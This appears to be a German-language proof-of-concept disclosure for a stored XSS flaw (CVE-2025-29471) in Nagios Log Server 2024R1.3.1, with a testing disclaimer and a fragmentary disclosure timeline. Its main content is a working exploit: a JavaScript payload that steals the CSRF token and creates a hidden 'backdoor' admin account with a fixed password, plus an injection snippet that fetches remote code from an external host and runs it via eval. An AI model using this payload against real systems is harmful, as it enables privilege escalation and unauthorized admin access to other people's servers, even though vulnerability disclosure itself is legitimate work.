
Gespeichertes XSS in Nagios Log Server 2024R1.3.1
2024R1.3.1 und älterNagios Log Server 2024R1.3.1 (Standardkonfiguration, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HNur für autorisierte Tests und Forschungszwecke. Testen oder missbrauchen Sie diese Schwachstelle nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.
Eine gespeicherte XSS-Schwachstelle in Nagios Log Server 2024R1.3.1 ermöglicht es einem Benutzer mit geringen Rechten, bösartiges JavaScript in das Feld „email“ seines Profils einzuschleusen.
Wenn ein Administrator die Audit-Logs einseht, wird die Nutzlast ausgeführt, was zu einer Rechteausweitung durch die unbefugte Erstellung eines Admin-Kontos führt.
1.Hosten Sie die xss.js-Nutzlast auf Ihrem externen Server mit folgendem Inhalt. GitHub funktioniert einwandfrei.
Aktualisieren Sie <target-ip> auf die IP/den Hostnamen des Nagios Log Server-Ziels.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Melden Sie sich als Standardbenutzer (Nicht-Administrator) bei Nagios Log Server an.
Navigieren Sie zum Endpunkt für die Profilaktualisierung:
http://<target-ip>/nagioslogserver/profile/update
Injizieren Sie die folgende Payload in das E-Mail-Feld. Aktualisieren Sie die Zeile fetch mit der URL, unter der xss.js gespeichert ist.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor mit vollem Admin-Zugriff in Nagios Log Server an.Nagios Log Server 2024R2Nagios Log Server 2024R2 die Stored-XSS-Schwachstelle behebt, und informierte NagiosCVE-2025-29471 für diese Stored-XSS-Schwachstelle, doch die Details blieben unveröffentlicht, da kein öffentlicher Security Advisory des Herstellers vorlag2024R1.3.2), der den Fix für die Stored-XSS-Schwachstelle auf den 2024R1-Zweig zurückportiertCVE-2025-29471 wurde offiziell veröffentlichtDiese Arbeit wurde außerhalb meines Beschäftigungsverhältnisses durchgeführt und spiegelt meine persönlichen Bemühungen in der Cybersecurity-Forschung wider.